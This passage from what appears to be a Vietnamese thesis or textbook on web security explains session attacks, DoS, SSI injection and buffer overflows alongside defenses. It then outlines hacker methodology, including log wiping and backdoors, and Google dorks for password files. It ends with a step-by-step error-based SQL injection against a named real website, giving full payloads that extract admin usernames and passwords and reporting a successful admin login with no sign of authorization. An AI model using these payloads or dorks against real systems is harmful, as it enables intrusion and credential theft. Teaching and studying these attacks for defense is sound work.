chống, ứng dụng phải hủy bỏ sessionID được cung cấp bởi trình duyệt của

người dùng, khi đăng nhập, và luôn tạo một sessionID mới khi người dùng đăng

nhập thành công.

Biện pháp 2: Phòng chống những hacker bên ngoài hệ thống

Việc tạo ứng dụng trên hệ thống theo hướng giới hạn ( chỉ tạo một session

ID mới cho người dùng sau khi họ thành công ), sẽ khiến cho những hacker

không phải là người dùng hợp lệ của hệ thống không thể sử dụng phương pháp

tấn công này.

Biện pháp 3: Giới hạn phạm vi ứng dụng của session ID.

+ Kết hợp Session ID với địa chỉ của trình duyệt.

+ Kết hợp Session ID với thông tin xác thực được mã hoá SSL của người dùng.

+ Xóa bỏ session khi người dùng thoát khỏi hệ thống, hay hết hiệu lực, có thể

thực hiện trên trình chủ hoặc trình duyệt.

+ Người dùng phải dùng chế độ thoát khỏi hệ thống, để xóa bỏ session hiện

thời và những sessionID còn lưu lại trên hệ thống, khi họ quên thoát ra ngoài

những lần trước.

+ Thiết lập “thời gian hết hiệu lực” cho session, tránh trường hợp hacker có thể

duy trì session và sử dụng nó lâu dài.

+ Với session ID quá ngắn, hacker có thể dùng kĩ thuật “Vét cạn”. Nhưng

không vì thế mà cho rằng ứng dụng sẽ bảo mật với session ID dài và phức tạp vì

kích thước session ID sẽ là một vấn đề nếu thuật toán không tốt.

49

2.5. TẤN CÔNG “TỪ CHỐI DỊCH VỤ” (DoS_denial of Server)

2.5.1. Khái niệm DoS

Tấn công kiểu DoS là tấn công làm cho các dịch vụ mạng bị tê liệt,

không còn khả năng đáp ứng được yêu cầu nữa. Loại tấn công này

ảnh hưởng đến nhiều hệ thống, rất dễ thực hiện và lại rất khó bảo vệ hệ

thống khỏi kiểu tấn công DoS.

Thông thường, kiểu tấn công DoS dựa trên giao thức. Ví dụ với

giao thức ICMP, hacker có thể sử dụng bomb e-mail để gửi hàng ngàn thông

điệp email với mục đích tiêu thụ băng thông để làm hao hụt tài nguyên hệ

thống trên mail server. Hoặc có thể dùng phần mềm gửi hàng loạt yêu cầu

đến máy chủ, khiến cho máy chủ không thể đáp ứng những yêu cầu chính

đáng khác.

Khái niệm về “TCP bắt tay ba chiều:”

Để tìm hiểu phương pháp tấn công DoS, trước tiên ta xét cơ chế làm việc

“TCP bắt tay ba chiều”.

Gói dữ liệu TCP chứa flag bits (cờ) để mô tả nội dung và mục đích của

gói dữ liệu.

Ví dụ:

1 Gói dữ liệu TCP với cờ SYN (synchoronize) dùng để bắt đầu 1 kết nối.

2 ACK (acknowledgement): xác nhận kết nối.

3 FIN (finish): dùng để cắt 1 kết nối.

50

Cách hoạt động của gói TCP:

Hình 7: Cơ chế thiết lập kết nối trước khi truyền số liệu

Buớc 1: Máy con gửi gói tin SYN yêu cầu kết nối.

Bước 2:

Nếu máy chủ chấp nhận kết nối, máy chủ gửi gói tin SYN/ACK. Server

bắt buộc phải gửi thông báo lại, vì TCP là chuẩn tin cậy nên nếu máy con không

nhận được thông báo, thì sẽ nghĩ rằng packet đã bị lạc và gửi lại một packet mới.

Bước 3:

Máy con gửi hồi đáp bằng gói tin ACK. Báo cho máy chủ biết rằng máy

con đã nhận được SYN/ACK packet và lúc này kết nối đã được thiết lập.

51

a) Lợi dụng TCP thực hiện phương pháp SYN flood:

Hình 8: Tấn công DoS truyền thống

Với một gói tin SYN, máy chủ phải để một phần tài nguyên như bộ

nhớ đệm để nhận và truyền dữ liệu cho đường truyền đó. Tuy nhiên, tài

nguyên của hệ thống là có hạn, và hacker tìm mọi cách để hệ thống tràn qua

giới hạn đó. (Được gọi là half-open connection, vì máy khách mở kết nối

giữa chừng)

Theo hình 8, nếu máy chủ sau khi gửi trả gói tin SYN/ACK để thông báo

chấp nhận kết nối cho máy yêu cầu, nhưng nếu địa chỉ IP của máy yêu cầu là

giả mạo, thì gói tin không thể đến được đích, nên máy chủ vẫn phải dành tài

nguyên cho yêu cầu đó.

Sau một thời gian không nhận được phản hồi từ máy khách, máy

chủ lại tiếp tục gửi gói tin SYN/ACK để xác nhận lần nữa, cứ như vậy, kết nối

vẫn tiếp tục mở.

Nếu hacker gửi nhiều gói tin SYN đến máy chủ đến khi máy chủ không

thể tiếp nhận thêm kết nối nào nữa, thì lúc này hệ thống đã bị phá vỡ.

52

b) Tấn công vào băng thông

+ Kiểu tấn công thứ 1:

Hacker hoàn toàn có khả năng làm ngập hệ thống, vì băng thông của

hacker lớn hơn băng thông của máy đích. Kiểu tấn công này không bị

hạn chế bởi tốc độ truyền mạng.

Ví dụ 21:

Hacker có một đường truyền tốc độ cao T1 ( 1.544- Mbps ) hay lớn hơn

có thể dễ dàng phá vỡ một hệ thống có đường truyền 56Kbps.

+ Kiểu tấn công thứ 2:

Kiểu tấn công này được dùng khi đường truyền mạng của hacker là quá

thấp so với đường truyền của máy đích.

Không giống như kiểu tấn công DoS truyền thống, kiểu tấn công vào

băng thông lớn hơn sẽ lợi dụng những gói tin từ những hệ thống khác nhau

cùng một lúc tiến đến hệ thống đích, khiến cho đường truyền của hệ thống đích

không còn khả năng đáp ứng, máy chủ không còn khả năng nhận một gói tin

nào nữa.

Hình 9: Kiểu tấn công DoS vào băng thông

53

Theo hình 9, tất cả các gói tin đi vào mạng máy tính qua một

"Big-Pipe" ( ống dẫn lớn ), sau đó được router chia ra những "Small Pipe"

(ống dẫn nhỏ) cho nhiều máy tính con tùy theo địa chỉ IP của gói tin.

Nhưng nếu toàn bộ "Big-Pipe" bị làm ngập bằng những gói tin chỉ hướng

đến 1 máy nhất định trong mạng máy tính con này, router đành phải chấp nhận

loại bỏ phần lớn các packet, để chỉ còn lại số lượng vừa đủ đi qua "Small Pipe"

của máy tính đó. Kiểu tấn công này sẽ loại máy đích ra khỏi Internet.

Đây là phương pháp tấn công kiểu từ chối dịch vụ, nhưng không là DoS

mà gọi là DDoS ( kiểu từ chối dịch vụ phân tán ). Nghĩa là cùng một lúc nhiều

máy sẽ được phát động để gửi gói tin đến máy đích (mặc dù đường truyền của

mỗi máy không cao nhưng nhiều đường truyền lại hợp thành một ống dẫn

“Big Pipe”), làm cho máy đích không còn khả năng tiếp nhận gói tin và bị loại

khỏi mạng Internet.

54

c) Tấn công kiểu “DRDoS” (Distributed Reflection Denial of Service)

(Thế hệ tiếp theo của DdoS):

Hình 10: Tấn công kiểu DRDoS

Bằng cách giả địa chỉ IP của máy đích, hacker sẽ cùng lúc gửi nhiều

gói tin đến các hệ thống máy mạnh trên mạng, các hệ thống này khi nhận gói

tin SYN giả này, chấp nhận kết nối và gửi trả một gói tin SYN/ACK để

thông báo. Vì địa chỉ IP của gói tin SYN bị hacker sửa đổi thành địa chỉ IP

máy đích nên những gói tin SYN/ACK sẽ được gửi về cho máy đích.

Cùng một lúc nhận được nhiều gói tin, đường truyền của máy đích không đủ

khả năng đáp ứng, hệ thống máy đích từ chối nhận bất kì gói tin nào và lúc

này hệ thống máy đích đã bị sụp đổ.

55

2.5.2. Biện pháp phòng chống

Kiểu tấn công từ chối dịch vụ gây nhiều khó khăn trong vấn đề bảo vệ

cũng như điều tra tìm ra thủ phạm, bởi vì hầu hết hacker đã thay đổi địa chỉ IP

của máy mình, nên rất khó xác định ai là thủ phạm.

Để phòng chống khả năng khuyếch đại đường truyền, cần:

+ Huỷ khả năng quảng bá (broadcast) tại router biên.

+ Tăng kích thước hàng đợi kết nối

kết quả: có thể phòng tránh khả năng tràn hàng đợi qua nhiều kết nối, nhưng

cách này sử dụng nhiều tài nguyên.

+ Giảm thời gian thiết lập kết nối.

+ Dùng phần mềm phát hiện, phá hủy kiểu tấn công DoS.

Hầu hết các hệ điều hành hiện nay đều hỗ trợ khả năng phát hiện và

phòng chống kiểu tấn công SYNflood. Tuy nhiên cũng đã có những phần mềm

được có khả năng tránh kiểu tấn công này.

Ví dụ 22:

Với Linux kernels 2.0.30 và về sau cài đặt một tùy chọn gọi là

SYN Cookie, kernel có nhiệm vụ truy tìm và lưu vết những khả năng có thể xảy

ra kĩ thuật SYN. Sau đó, kernel sẽ sử dụng một giao thức mã hoá như SYN

cookie, cho phép người dùng hợp lệ của hệ thống tiếp tục kết nối đến hệ thống.

Với WindowNT 4.0 trở về sau, sử dụng kĩ thuật backlog, mỗi khi hàng

đợi kết nối không đủ đáp ứng, hệ thống tự động cung cấp tài nguyên cho hàng

đợi, vì thế hàng đợi sẽ không bị phá vỡ.

Ứng dụng cho phép máy con chỉ được thiết lập số kết nối tối đa theo

qui định, tránh trường hợp hacker gửi cùng lúc nhiều yêu cầu gây tắc nghẽn.

56

2.6. TẤN CÔNG VÀO “CÂU LỆNH PHÍA SERVER”

(server side include-SSI)

SSI là đoạn mã được nhúng vào trong trang Web để yêu cầu trình chủ

cung cấp thông tin ở một điểm nào đó trong trang.

Ví dụ

<!--#include file="test.asp"-->

Dòng lệnh trên nhúng nội dung file “test.asp” vào trong trang Web.

Tuy nhiên, SSI không phải được hỗ trợ trong hầu hết các trình chủ, Apache

và IIS là hai trình chủ hỗ trợ SSI. Trang Web có sử dụng SSI thường được lưu

dưới dạng .shtml hoặc .stm (là phần mở rộng của .html hay .htm) để báo hiệu

cho trình chủ biết trang này có sử dụng SSI để tiết kiệm thời gian xử lí cho trình

chủ (không mất thời gian tìm kiếm).

Quá trình thực hiện xử lí một trang Web yêu cầu:

Nếu không có bất kì chỉ thị nào khác, trình chủ chỉ gửi nội dung trang

Web cho trình duyệt nhưng với một SSI, thì công việc tuần tự theo những bước

như sau:

+ Trình chủ nhận dữ liệu và phân tích dữ liệu (tìm kiếm và

phân loại những câu lệnh đặc biệt) để chỉ thị thực hiện

+ Dựa trên những câu lệnh mà trình chủ tìm thấy, trình chủ

thực thi những câu lệnh đó để trả kết quả cho trình duyệt.

+ Trả kết quả về cho trình duyệt

Có 3 khả năng thực hiện:

+ Nhận thông tin từ một file và chèn vào trong trang

+ Gán giá trị cho một số biến

+ Gọi chương trình CGI

Hacker lợi dụng những ô nhập để chèn thêm vào đó nội dung một câu

lệnh SSI.

57

Ví dụ:

<!--#jdbc select="SELECT * FROM User"

name="result" driver="org.gjt.mm.mysql.Driver"

url="jdbc:mysql://localhost:3306/project" -->

//Thiết lập câu lệnh Select

<!--#jdbc name="result" next="true" -->

//Câu lệnh này di chuyển con trỏ đến dòng đầu tiên trong tập tin.

<!--#jdbc name="result" column="1" -->

//Hiển thị nội dung dòng đầu tiên.

Biện pháp phòng chống:

Với người quản trị, cấu hình lại trình chủ sao cho trình chủ không hỗ trợ SSI.

Với người lập trình, kiểm tra kĩ nội dung dữ liệu gửi từ người dùng.

Loại bỏ những kí tự như < > # -- !…Tuy nhiên điều này nên được thực hiện

tại trình chủ, không nên kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ

phía trình khách, vì khả năng thay đổi nội dung của trang Web.

58

2.7. TẤN CÔNG “TRÀN BỘ ĐỆM” (Buffer overflow)

Khái niệm:

Buffer overflow từng là lỗ hổng trong hệ thống bảo mật của UNIX nhiều

năm nay, nhưng chỉ được công bố sau buổi thảo luận của Dr.Mudge trong tài

liệu 1995 “Bằng cách nào viết một chương trình khai thác lỗ hổng

Buffer Overflow”

Kĩ thuật Buffer Overflow, cho phép một số lượng lớn dữ liệu được cung cấp

bởi người dùng mà vượt quá lượng bộ nhớ cấp phát ban đầu bởi ứng dụng do

đó gây cho hệ thống lâm vào tình trạng tràn bộ nhớ, thậm chí có thể bị chèn

thêm một đoạn mã bất kì. Nếu ứng dụng được cấu hình để được thực thi như

root thì người tấn công có thể thao tác như một nhà quản trị hệ thống của web

server. Hầu hết những vấn đề đều phát sinh từ khả năng lập trình yếu kém của

những nhà lập trình. Đơn cử là sự cẩu thả trong kiểm tra kích thước dữ liệu

nhập vào.

Ví dụ: Buffer chỉ được cấp phát 256 byte, nếu buffer nhận 257 kí tự do

người dùng nhập vào, thì xảy ra lỗi tràn bộ đệm, vì máy tính cần không gian lưu

trữ những byte dư ra, nó sẽ chứa lên những vùng nhớ kế cạnh và ghi đè lên

những dữ liệu có sẵn tại đó.

Còn có một bộ nhớ đệm khác trên bộ nhớ máy tính, dùng để lưu trữ địa

chỉ cho lệnh máy kế tiếp sẽ thực thi khi gọi hàm. Vùng nhớ này được cấp phát

trên stack, được gọi là con trỏ lệnh (instruction pointer).

Ở ví dụ trên, sau khi đọc dữ liệu nhập vào từ người dùng, chương trình

thực hiện lệnh in ra nội dung, con trỏ lệnh khi đó sẽ mang giá trị là địa chỉ vùng

nhớ của lệnh in. Máy tính sẽ thực hiện các thao tác tuần tự: đọc dữ liệu nhập

vào, lưu nó vào bộ đệm, kiểm tra con trỏ lệnh để biết lệnh thực thi kế tiếp, tìm

địa chỉ vùng nhớ của lệnh in, đọc nội dung bộ đệm và in nó ra màn hình. Nếu

lệnh tiếp theo là đoạn mã hacker chèn vào, thì sau khi chương trình thực hiện

tràn bộ đệm, nó sẽ tìm đến địa chỉ đoạn mã của hacker để thực thi tiếp.

59

Cách gây tràn bộ đệm qua ứng dụng web

Các bước cơ bản của kỹ thuật tràn bộ đệm là: chuẩn bị bộ đệm dùng để làm

tràn, xác định địa chỉ trả về, xác định địa chỉ của bộ đệm chứa shellcode, cuối

cùng gọi thực thi chương trình bị tràn bộ đệm.

Thông qua những ô nhập dữ liệu hacker có thể sử dụng một chuỗi string nhị

phân có khả năng thực thi đoạn lệnh trên máy đích hoặc phá vỡ hệ thống do

phải xử lí dữ liệu quá dài, vượt khả năng cho phép của hệ thống

Biện pháp phòng chống:

Người thiết kế Web cần phải kiểm tra kĩ kích thước dữ liệu trước khi dùng.

Dùng Referer trong HTTP Header để kiểm tra yêu cầu có phải xuất phát

từ máy người dùng.

Xem xét tính bảo mật của mã nguồn các phần mềm mở.

Sử dụng các vùng nhớ được cấp phát động.

Cẩn thận khi sử dụng các vòng lặp để sao chép dữ liệu từ giữa các biến,

cần đảm bảo giới hạn đã được kiểm tra.

Cài đặt các bản sửa lỗi.

Sử dụng các công cụ và hướng dẫn để đánh giá mức độ an toàn của

chương trình, như Slint, rát, flawfinder.

60

Chương 3:

TỔNG KẾT QUÁ TRÌNH TẤN CÔNG CỦA HACKER

3.1.THU THẬP THÔNG TIN Ở MỨC HẠ TẦNG CỦA MỤC TIÊU

Bước 1: FootPrinting (Thu thập thông tin):

Cách này hacker làm khi muốn lấy lượng thông tin tối đa về máy chủ,

doanh nghiệp, người dùng; bao gồm chi tiết về địa chỉ IP, Whois, DNS... - là

những thông tin chính thức có liên quan đến mục tiêu.

Công cụ hỗ trợ: UseNet, search engines (công cụ tìm kiếm), Edgar Any

Unix client, nslookup Is -d , Sam spade, …

Bước 2: Scanning (Quét thăm dò):

Phần lớn thông tin quan trọng từ server có được từ bước này , bao gồm

quét cổng, xác định hệ điều hành, .v.v.. để biết các port trên server, nghe

đường dữ liệu.

Các công cụ: fping, icmpenum Ws_ping ProPack, nmap, SuperScan,

fscan nmap, queso, siphon.

Bước 3: Enumeration (Liệt kê tìm lỗ hổng):

Tìm kiếm tài nguyên được bảo vệ kém, hoặc tài khoản người dùng

có thể sử dụng để xâm nhập, bao gồm các mật khẩu mặc định, các script

và dịch vụ mặc định. Rất nhiều người quản trị mạng không biết đến hoặc

không sửa đổi lại các giá trị này.

Các công cụ phụ trợ: null sessions, DumpACL, sid2user, OnSite

Admin showmount, NAT Legion banner grabbing với telnet, netcat, rpcinfo.

61

Bước 4: Gaining access (Tìm cách xâm nhập):

Bây giờ hacker tìm cách truy cập vào mạng, bằng những thông tin có

được ở ba bước trên. Phương pháp được sử dụng ở đây là: tấn công vào lỗi tràn

bộ đệm, lấy và giải mã file password, hay brute force (kiểm tra tất cả các trường

hợp) password.

Các công cụ: tcpdump, L0phtcrack readsmb, NAT, legion, tftp, pwdump2

(NT) ttdb, bind, IIS, HTR/ISM.DLL.

Bước 5: Escalating privilege (Leo thang đặc quyền):

Trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản nào đó,

thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách lấy mật khẩu

của người quản trị, hoặc sử dụng lỗ hổng để leo thang đặc quyền.

Công cụ: L0phtcrack, Ic_messages, getadmin, sechole.

Bước 6: Pilfering (Dùng khi các file chứa pass bị sơ hở):

Các máy tìm kiếm đựơc sử dụng để tìm phương pháp truy cập vào

mạng. Những file text chứa password hay các cơ chế không an toàn khác có thể

là đích cho hacker.

Thông tin lấy từ bước trên đủ để ta định vị server và điều khiển server.

Công cụ hỗ trợ: rhost, LSA Secrets user data, configuration files, Registry.

Bước 7: Covering Tracks (Xoá dấu vết) :

Sau khi đã có thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file

log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm

nhập, hoặc có biết cũng không tìm ra kẻ xâm nhập là ai.

Xóa log. Công cụ: Zap, Event log GUI, rootkits, file streaming.

62

Bước 8: Creating Backdoors

(Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn):

Hacker để lại "Back Doors", tức là một cơ chế cho phép hacker truy nhập

trở lại bằng con đường bí mật, không phải tốn nhiều công sức, bằng việc cài đặt

Trojan hay tạo user mới (đối với tổ chức có nhiều user).

Công cụ: các loại Trojan, keylog, creat rogue user accounts, schedule

batch jobs, infect startup files, plant remote control services, install

monitoring mechanisms, replace apps with Trojan.

63

3.2.KHẢO SÁT ỨNG DỤNG WEB

Phương pháp khảo sát khá phổ biến, đó là Xem mã nguồn và lợi dụng các lỗi

cho phép xem mã nguồn.để tìm phương thức tấn công phù hợp.

Một số ngôn ngữ web thông dụng hiện nay có nhiều lỗi này như Active Server

Pages (ASP), Common Gateway Interface (CGI), ColdFusion Server

(CFM), Hypertext Preprocessor (PHP).

Tìm các site bị lỗi này bằng cách dùng www.google.com, search từ khóa liên

quan.

Sử dụng allinurl: trước đoạn string đặc biệt cần kiếm, thì những trang Web

tìm kiếm được chắc chắn sẽ có chuỗi cần tìm.

Ví dụ:

"allinurl:/advadmin" (không có ngoặc kép) thì chỉ liệt kê ra những trang

có URL có dạng : http://tentrangweb.com/advadmin.

Tìm các file trên http://www.google.com thì thêm chữ type file: trước tên

file cần tìm trên các chuyên khu web.

Ví dụ:

+ Muốn tìm file mdb (đây là file chứa mật khẩu của các trang Web,

dùng Access để mở) thì vào http://www.google.com và đánh type file:mdb

+ Tìm file SAM (đây là file chứa Password của Windows NT, dùng

L0phtCrack để Crack) thì vào http://www.google.com và đánh type file:SAM

+ Tấn công vượt qua các cơ chế kiểm soát (authentication, authorization)

Bao gồm các phương pháp như đoán mật khẩu, thay đổi thông tin

cookies, các kĩ thuật directory traversal, leo thang đặc quyền, các phương pháp

tấn công dựa vào SQL, SQL injection...

64

+ Tìm hiểu sâu về các chức năng của ứng dụng web

Tìm hiểu cách thực hiện của các phần trong ứng dụng, đặc biệt như các

order input, confirmation, order tracking. Ở đây ta có thể áp dụng các phương

pháp như SQL Injection, input validation...

+ Tìm hiểu luồng di chuyển của thông tin

Các thông tin tương tác giữa client và server, các thông tin tương tác với

database. Hiện nay việc viết mã để thực hiện việc giao tiếp thông tin thường

phải đảm bảo được tính hiệu quả (nhanh), và bảo mật (có thể sẽ chậm hơn).

Thường thì tính hiệu quả được ưu tiên hơn do đó có thể sẽ phát sinh lỗi trong

quá trình đó và giúp hacker có thể lợi dụng các lỗi như SQL input...để đoạt

quyền điều khiển hệ thống.

+ Tấn công

Khi đã thu thập và khảo sát kỹ càng đối tượng, hacker bắt đầu thực hiện

tấn công nhằm xâm nhập vào hệ thống lấy thông tin, đưa thông tin xấu vào, dành

quyền kiểm soát,… Còn nếu không thành công trong việc xâm nhập, thì Dos là

cách thức cuối cùng mà hacker thường lựa chọn để làm cho hệ thống không thể

hoạt đông được.

65

Ví dụ kiểu tấn công SQL Injection bằng câu lệnh SELECT

nhằm lấy tên đăng nhập và mật khẩu của admin (bằng cách thêm câu lệnh

truy vấn trên URL):

(Thử nghiệm tấn công vào trang http://www.ectb.org)

- Tìm những trang web có khả năng bị lỗI SQL Injection: sử dụng từ khóa

“allinurl”: allinurl:"shopdisplayproducts.asp?code=

(Có thể là “id=” hoặc “cat=”)

- Xem trang web có lỗi bằng cách thêm dấu nháy đơn (‘) vào sau giá trị

66

“code=”:

- Trang web có lỗi sẽ xuất hiện thông báo do dấu nháy gây ra:

http://www.ectb.org/ectb/tabs/leagues/league_listing.asp?code=DL'

67

Bây giờ ta sẽ khai thác lỗi bằng cách thêm câu lệnh SQL vào sau dấu nháy:

- Mục tiêu thứ nhất là lấy bảng đầu tiên trong CSDL:

information_schema.tables: chứa tất cả các bảng DL.

- Lấy lần lượt các bảng con lại trong CSDL: sử dụng câu lệnh “not in” vớI

bảng đầu tiên.

- Khi lấy được hết bảng trong CSDL:

%20and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password

%20and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('LeagueMaster2')))--sp_password

68

Ta được thông báo:

- Tiếp theo, ta sẽ lấy các trường đầu tiên nằm trong các bảng, xem bảng nào

%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20 ('LeagueMaster2','LeaguePoints','TournamentPermissions','ActContacts', 'AdminAccess','AdminAccessGroups','AdminUsers','AdminUsersAccess', 'AdminUsersLogins')))--sp_password

69

chứa thông tin về admin. (Ở đây bảng cần tìm là “Adminusers”)

information_schema.columns: chứa thông tin tất cả các cột trong bảng

- Ta dùng lệnh “not in” để lấy cột tiếp theo trong bảng:

%20and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('Adminusers')))--sp password

70

Các cột tiếp theo:

- Tìm tên đăng nhập và mật khẩu:

%20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name= ('AdminUsers')%20and%20column_name%20not%20in%20('userID', 'displayName','login','password')))--sp_password

%20and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('AdminUsers') and column_name not in ('userID')))--sp_password

71

- Đến địa chỉ admin và thực hiên đăng nhập:

- Đăng nhập thành công:

'%20and%201=convert(int,(select%20top%201%20login%2b'/'%2bpassword%20from%20AdminUsers))--sp_password

72

- Click vào sự kiện “Submit Event”. Kết quả nhận được là một trang dùng để

thêm thông tin vào cơ sở dữ liệu.

73

Tài liệu tham khảo

[1] ASP 3.0- Nguyễn Phương Loan, NXB Lao Động-Xã Hội.

[2] Hacking Exposed- Stuart McClure, Joel Scambray, George Ku.

Các website:

[5] http://online.securityfocus.com/archive

[6] www.hvaonline.net

[7] http://www.networksolutions.com/whois

[8] www.vnexpress.com

[9] www.quantri mang.com

[10] www.cert.org

[11] www.owasp.org